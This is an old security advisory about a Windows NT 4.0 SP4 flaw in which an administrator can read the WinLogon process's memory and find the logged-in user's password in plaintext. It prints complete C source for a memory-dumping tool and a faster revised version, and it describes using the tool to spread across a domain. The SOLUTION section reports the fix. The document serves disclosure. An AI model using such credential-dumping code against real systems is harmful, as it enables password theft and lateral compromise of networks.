COMMAND

    WinLogon VM

SYSTEMS AFFECTED

    WinNT

PROBLEM

    Robert Horvick  found following.   While this  does require  admin
    rights for this to work the implications of social engineering  or
    an  exploit  to  run  after  compromising  the  admin  account are
    obvious.   This  does  work  on  SP4  (and  presumably previous SP
    versions as well).  The  basic idea is that if  WinLogon's process
    is opened (OpenProcess)  with PROCESS_VM_READ and  then the VM  is
    read with  ReadProcessMemory -  within the  first several  hundred
    bytes  (in  the  form  of  Unicode  environment  variables) is the
    logged in users password, twice, in plaintext in an easy to  parse
    format.   Here is  some code  to demonstrate  this -  you must  be
    running as administrator for this to work:

    /***************************************************************
     * dumpvmem
     *
     * dumps the contents of a process virtual mem to a file for
     * browsing later.  If run with admin privs and the process
     * winlogon is used ... the users password is all over the
     * place in the first few hundred bytes.
     *
     * Robert Horvick [Kanin]   Great Plains Software
     * 12/2/1999                     rhorvick@acm.org
     *
     *
     * Command Line
     *     pid      - decimal process id
     *     szPath   - path to the file to dump memory to
     *
     ****************************************************************/

    #include <windows.h>
    #include <stdio.h>

    /*
     * Highly inefficient - allocations occur in page size minimums.
     *                      They should be used for real work.  Since
     *                      the password shows up so quickly ... meh.
     */
    DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
    {
        LPSTR   lpOffset = (LPSTR)1;
        CHAR    vBuf[1];
        DWORD   dwRead = 0;
        BOOL    bLastRead = FALSE;
        DWORD   dwDumpedBytes = 0;

        FILE *f;
        f = fopen(szPath, "wb");
        if(f)
        {
            while(lpOffset++)
            {
                if(ReadProcessMemory( hProc,
                    lpOffset,
                    vBuf,
                    1,
                    &dwRead))
                {
                    if(bLastRead)
                    {
                        fprintf(f, "%c", vBuf[0]);
                    }
                    else
                    {
                        fprintf(f, "\noffset %lx\n", lpOffset);
                        fprintf(f, "%c", vBuf[0]);
                        bLastRead = TRUE;
                    }
                    dwDumpedBytes++;
                }
                else
                {
                    bLastRead = FALSE;
                }
            }
            fclose(f);
        }
        else
        {
            fprintf(stderr, "Unable to open %s", szPath);
        }

        return dwDumpedBytes;
    }

    int main(int argc, char **argv)
    {
        DWORD   dwPid   = 0;
        BOOL    bWorked = FALSE;
        HANDLE  hProc   = 0;
        char    *szPath = 0;

        if (argc < 2)
        {
            fprintf(stderr, "dumpvmem <pid> <path to dump file>");

            return EXIT_FAILURE;
        }

        dwPid = atol(argv[1]);
        szPath = argv[2];

        hProc = OpenProcess(PROCESS_VM_READ, FALSE, dwPid);

        if(hProc)
        {
            /* Play nice ... that is a tight loop up there. */
            HANDLE hMe = GetCurrentProcess();
            SetPriorityClass(hMe, IDLE_PRIORITY_CLASS);

            DumpMemory(hProc, szPath);
            CloseHandle(hProc);
        }
        else
        {
            fprintf(stderr, "Unable to open %ld for PROCESS_VM_READ\n", dwPid);
        }

        return 0;
    }

    The created  file will  be obvious  enough.   Actually there  is a
    large bug in the code (well - it works just as well but  thousands
    of times faster and is more correct).  There is no reason to  look
    beyond the application min and max address range and no reason  to
    read in anything other then page sizes (since a VirtualAlloc  will
    always round to at  least the next largest  page size).  This  was
    how one should have written it to begin with.

    DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
    {
        LPSTR  lpOffset = 0;
        LPSTR  lpBuf = 0;
        DWORD  dwRead = 0;
        BOOL   bLastRead = FALSE;
        DWORD  dwDumpedBytes = 0;
        SYSTEM_INFO si = {0};
        FILE *f = 0;
    
        f = fopen(szPath, "wb");
        if(f)
        {
            GetSystemInfo(&si);
            lpBuf = (LPSTR)malloc(si.dwPageSize + 1);
            for(lpOffset = si.lpMinimumApplicationAddress;
                (void*)lpOffset <= si.lpMaximumApplicationAddress;
                lpOffset += si.dwPageSize)
            {
                if(ReadProcessMemory( hProc,
                    lpOffset,
                    lpBuf,
                    si.dwPageSize,
                    &dwRead))
                {
                    if(bLastRead)
                    {
                        fwrite(lpBuf, 1, dwRead, f);
                    }
                    else
                    {
                        fprintf(f, "\noffset %lx\n", lpOffset);
                        fwrite(lpBuf, 1, dwRead, f);
                        bLastRead = TRUE;
                    }
                    dwDumpedBytes += dwRead;
                    lpOffset += si.dwPageSize;
                }
                else
                {
                    bLastRead = FALSE;
                }
            }
        fclose(f);
        }
        else
        {
            fprintf(stderr, "Unable to open %s", szPath);
        }
    
        return dwDumpedBytes;
    }

    Yes, the exploits that requires admin/root to gain admin/root  are
    pointless.   If you  can get  the admin  to put  +s on bash, well,
    yes...the system is compromised.  HOWEVER, this particular problem
    is interesting.  If you use  an exploit to gain access to  the box
    as administrator rights,  or you get  the admin to  run something,
    whatever.  You are not  concerned about 'how', but moreso  that it
    did happen.  You now have two routes to take:

       1. Grab the SAM, and spend  the next 1526 years cracking it  on
          my 486.  Bummer if they use syskey.

       2. Use the above vulnerability to immediately get the plaintext
          administrators  password...  then  continute  to  compromise
          other boxes in the domain.  As a consultant, time is  money.
          As a  hacker, the  more time  it takes,  the more chances of
          getting  caught.   Being   given  the  plaintext   password,
          regardless  of  being  admin,  is  a no-brainer if you don't
          already have it.

SOLUTION

    MS indicated this was  fixed in NT 4.0  SP5.  Well, this  has been
    fixed under  NT4 SP6  for sure  - the  first 10,000  bytes of  the
    winlogon process are  not accessible, and  the rest of  the memory
    space appears to have nothing interesting in it.  Windows 2000 RC2
    is the same.